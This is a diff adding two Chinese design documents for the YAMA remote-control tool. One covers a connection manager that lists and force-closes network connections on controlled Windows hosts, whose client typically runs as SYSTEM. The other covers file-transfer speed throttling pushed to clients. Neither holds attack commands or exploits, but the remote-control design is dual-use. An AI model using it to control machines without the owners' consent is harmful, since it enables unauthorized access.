- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
|
||||
|
||||
### 服务端模板(读参考实现,全部已核实)
|
||||
|
||||
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
|
||||
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
|
||||
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
|
||||
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
|
||||
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
|
||||
|
||||
### 工具栏(读参考,全部已核实)
|
||||
|
||||
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
|
||||
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
|
||||
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
|
||||
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
|
||||
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
|
||||
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
|
||||
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
|
||||
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
|
||||
`hiddenCount` 语义不变。
|
||||
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
|
||||
|
||||
### 网络 API(客户端,新增依赖)
|
||||
|
||||
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
|
||||
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
|
||||
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
|
||||
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
|
||||
|
||||
## 3. 协议与数据结构
|
||||
|
||||
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
|
||||
|
||||
```
|
||||
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
|
||||
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
|
||||
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
|
||||
```
|
||||
|
||||
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
|
||||
|
||||
```c
|
||||
#pragma pack(push, 1)
|
||||
struct ConnectionInfo {
|
||||
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||
uint32_t pid; // 所属进程 PID [4]
|
||||
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
|
||||
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||
}; // 合计 110
|
||||
#pragma pack(pop)
|
||||
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
|
||||
```
|
||||
|
||||
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
|
||||
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
|
||||
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
|
||||
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
|
||||
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
|
||||
|
||||
### 3.3 列表响应(客户端 → 服务端)
|
||||
|
||||
```
|
||||
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
|
||||
```
|
||||
|
||||
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
|
||||
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
|
||||
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
|
||||
|
||||
### 3.4 强制断开请求(服务端 → 客户端)
|
||||
|
||||
```
|
||||
[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
|
||||
```
|
||||
|
||||
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
|
||||
|
||||
## 4. 客户端实现
|
||||
|
||||
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
|
||||
|
||||
- 类声明(`ConnectionsManager.h`):
|
||||
```cpp
|
||||
#if ENABLE_CONNECTION_MNG==0
|
||||
#define CConnectionsManager CManager
|
||||
#else
|
||||
class CConnectionsManager : public CManager {
|
||||
public:
|
||||
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CConnectionsManager();
|
||||
VOID SendConnectionList(); // 枚举并回传
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void KillConnection(const ConnectionInfo& info);
|
||||
};
|
||||
#endif
|
||||
```
|
||||
- `SendConnectionList()`:
|
||||
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
|
||||
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
|
||||
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
|
||||
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
|
||||
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
|
||||
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
|
||||
- `OnReceive()`:
|
||||
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
|
||||
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
|
||||
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
|
||||
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
|
||||
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
|
||||
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
|
||||
```
|
||||
case COMMAND_CONNECTION: {
|
||||
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
|
||||
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
|
||||
break;
|
||||
}
|
||||
```
|
||||
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
|
||||
|
||||
## 5. 服务端实现
|
||||
|
||||
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
|
||||
|
||||
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
|
||||
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
|
||||
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
|
||||
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
|
||||
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
|
||||
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
|
||||
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
|
||||
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
|
||||
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
|
||||
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
|
||||
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
|
||||
`ToolBar_Main.bmp` 补第 17 格(见下)。
|
||||
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
|
||||
|
||||
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
|
||||
|
||||
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
|
||||
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
|
||||
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
|
||||
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
|
||||
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
|
||||
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
|
||||
双节点/插头样式图标插入条尾;图标观感属评审项)。
|
||||
- `2015RemoteDlg.cpp`:
|
||||
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
|
||||
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
|
||||
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
|
||||
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
|
||||
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
|
||||
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
|
||||
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
|
||||
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
|
||||
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
|
||||
|
||||
## 6. 强制断开的实现与限制
|
||||
|
||||
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
|
||||
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
|
||||
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
|
||||
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
|
||||
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
|
||||
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
|
||||
`SetTcpEntry` 返回错误,`KillConnection` 静默失败并在刷新后的列表中保留该行(可观察结果,不误报)。
|
||||
|
||||
## 7. 安全与边界
|
||||
|
||||
1. **可能断开 YAMA 自身控制通道**:连接列表包含客户端↔服务端的主/子连接本身,若管理员选中并强制断开,
|
||||
对应主机会立即离线。对话框对此不做特殊保护(与 `kill_process` 可杀自身守护进程同理),
|
||||
但列表按 PID 可辨识本程序进程名,便于人工避让。
|
||||
2. **强制断开不可逆**:断的是对端已建立的 TCP 连接,应用层不保存状态,可能造成数据丢失;对话框不弹二次确认
|
||||
(确认责任在操作者),但右键菜单为显式单点操作。
|
||||
3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
|
||||
`"<unknown>"`,不阻塞枚举。
|
||||
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
|
||||
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
|
||||
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
|
||||
同类),属预期;不影响服务端其它功能。
|
||||
|
||||
## 8. 验证计划(施工后填写)
|
||||
|
||||
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
|
||||
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
|
||||
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
|
||||
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
|
||||
远端 `netstat` 不再显示;进程自身未受影响。
|
||||
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
|
||||
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
|
||||
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
|
||||
|
||||
## 9. 实现记录
|
||||
|
||||
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
|
||||
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
|
||||
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
|
||||
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
|
||||
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
|
||||
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
|
||||
`htons` 转回网络序。详见 §3.2 / §6。
|
||||
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
|
||||
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
|
||||
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
|
||||
@@ -0,0 +1,151 @@
|
||||
# YAMA 文件传输速度调节设计
|
||||
|
||||
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
|
||||
> **读者**:研发/评审人员。
|
||||
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
|
||||
|
||||
---
|
||||
|
||||
## 1. 背景与目标
|
||||
|
||||
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
|
||||
|
||||
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
|
||||
|
||||
---
|
||||
|
||||
## 2. 速度原理(现状)
|
||||
|
||||
库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
|
||||
|
||||
```cpp
|
||||
static int chunk_size = 64 * 1024; // 默认 64KB
|
||||
static int send_duration = 50; // 默认 50ms
|
||||
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
|
||||
```
|
||||
|
||||
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
|
||||
|
||||
```
|
||||
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
|
||||
默认 64KB / 50ms ≈ 1.25 MB/s
|
||||
```
|
||||
|
||||
两个关键约束:
|
||||
|
||||
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
|
||||
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
|
||||
|
||||
---
|
||||
|
||||
## 3. 档位表(权威唯一来源,主控端对话框维护)
|
||||
|
||||
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|
||||
|---|---|---|---|---|
|
||||
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
|
||||
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
|
||||
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
|
||||
| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
|
||||
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
|
||||
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
|
||||
| 6 | 不限速 | 1024 | 0 | 网络上限 |
|
||||
|
||||
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
|
||||
- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
|
||||
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
|
||||
|
||||
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
|
||||
|
||||
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
|
||||
|
||||
---
|
||||
|
||||
## 4. 两个方向的生效链路
|
||||
|
||||
文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
|
||||
|
||||
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|
||||
|---|---|---|---|
|
||||
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
|
||||
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置(`MasterSettings` 登录下发写入),下次打开文件管理会话生效 |
|
||||
|
||||
### 4.1 上传方向(主控端本地,无协议改动)
|
||||
|
||||
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
|
||||
|
||||
```cpp
|
||||
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
|
||||
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
|
||||
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
|
||||
```
|
||||
|
||||
### 4.2 下载方向(随 `MasterSettings` 登录下发到被控端)
|
||||
|
||||
下载速度**不再用独立命令下发**,而是折叠进 `MasterSettings` 结构体,随**客户端每次登录成功**第一时间下发(主连接建立即 `SendMasterSettings`),客户端持久化到 `[transfer]` 节后本地生效:
|
||||
|
||||
1. **`common/commands.h`**:在 `MasterSettings` 结构体 `Reserved` 之前新增两个字段(`sizeof` 仍为 1000,`Signature` 偏移不变,向下兼容老客户端):
|
||||
```c
|
||||
uint16_t TransferChunkKb; // 文件传输速度 chunkKb(随登录配置下发)
|
||||
uint16_t TransferDurationMs; // 文件传输速度 durationMs(0=不限速)
|
||||
```
|
||||
2. **主控端登录即下发**:`OnInitDialog()` 读 `THIS_CFG` 的 `[transfer]`(`GetTransferSpeed`,默认 64/50),填入 `m_settings.TransferChunkKb/TransferDurationMs`。登录链路本就把 `m_settings` 经 `SendMasterSettings` 下发给每个新连接客户端,**无需任何额外命令**。
|
||||
3. **主控端改速即时广播**:`OnFileTransferSpeed()` 保存后同步更新 `m_settings` 两个字段并 `SendMasterSettings(nullptr, m_settings)`,在线客户端即时收到新速度;新连接主机也自动获取。
|
||||
4. **被控端接收**:客户端 `CMD_MASTERSETTING` 处理器(`client/KernelManager.cpp:1116` 附近)中,`TransferChunkKb` 非 0(老主控未携带时为 0,保留本地默认值)则把两数写入 `iniFile(CLIENT_PATH)` 的 `[transfer]` 节。
|
||||
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)等 4 个 `InitFileUpload` 调用点均读 `cfg.GetInt("transfer", ...)`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
|
||||
|
||||
> **为何不用独立命令**:v1.4.0 曾用独立 `CMD_FILE_SPEED(252)` 在 `OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `COMMAND_LIST_DRIVE`/`COMMAND_SCREEN_SPY` **之前**追加下发。主控端 IOCP 对两次背靠背 `Send2Client` 会合并为两次整包 `WSASend`(`OutCompressedBuffer` 累积),导致客户端收到重复的 `[FILE_SPEED][SCREEN_SPY]` 命令流——这正是“点击远程桌面弹出两个对话框”的根因(commit 76decec)。改为随 `MasterSettings` 登录下发后,下载方向不再有任何背靠背发送。
|
||||
> **向后兼容**:`CMD_FILE_SPEED = 252` 命令号与客户端 `case CMD_FILE_SPEED` 处理器仍保留,供老主控(仍按旧机制下发)与新客户端互通;新主控不再发送该命令。
|
||||
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
|
||||
|
||||
---
|
||||
|
||||
## 5. 配置存储
|
||||
|
||||
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
|
||||
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `MasterSettings` 登录下发写入。
|
||||
|
||||
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
|
||||
|
||||
---
|
||||
|
||||
## 6. 改动文件清单(Windows 端)
|
||||
|
||||
| 文件 | 改动 |
|
||||
|---|---|
|
||||
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
|
||||
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
|
||||
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
|
||||
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
|
||||
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnInitDialog()` 把 `[transfer]` 速度填入 `m_settings`;`OnFileTransferSpeed()` 保存后更新 `m_settings` 并经 `SendMasterSettings(nullptr, ...)` 广播 |
|
||||
| `common/commands.h` | `MasterSettings` 新增 `TransferChunkKb`/`TransferDurationMs`(`sizeof` 不变,`CMD_FILE_SPEED=252` 保留向后兼容) |
|
||||
| `client/KernelManager.cpp` | `CMD_MASTERSETTING` 处理器写 `[transfer]`(`TransferChunkKb` 非 0 才写) |
|
||||
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
|
||||
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
|
||||
|
||||
---
|
||||
|
||||
## 7. 生效时机与提示文案
|
||||
|
||||
- 上传速度:重启主控端生效。
|
||||
- 下载速度:已推送到在线客户端即时生效;新连接的主机自动获取。
|
||||
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度已推送到在线客户端,新连接的主机也会自动获取。`
|
||||
|
||||
---
|
||||
|
||||
## 8. 风险与备注
|
||||
|
||||
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
|
||||
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
|
||||
3. **结构体字段布局**:`TransferChunkKb`/`TransferDurationMs` 加在 `Reserved` 之前(`sizeof(MasterSettings)` 仍为 1000,`Signature` 偏移不变),保证与 Go 侧/老客户端二进制兼容;`TransferChunkKb == 0` 作为“未下发”哨兵(老主控未填充 → 客户端保留本地默认值)。
|
||||
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
|
||||
5. **跨平台**:Linux/macOS 客户端下载路径暂不改;`MasterSettings` 新增字段位于原 `Reserved` 区(老/其他平台客户端不识别即忽略),向后兼容。
|
||||
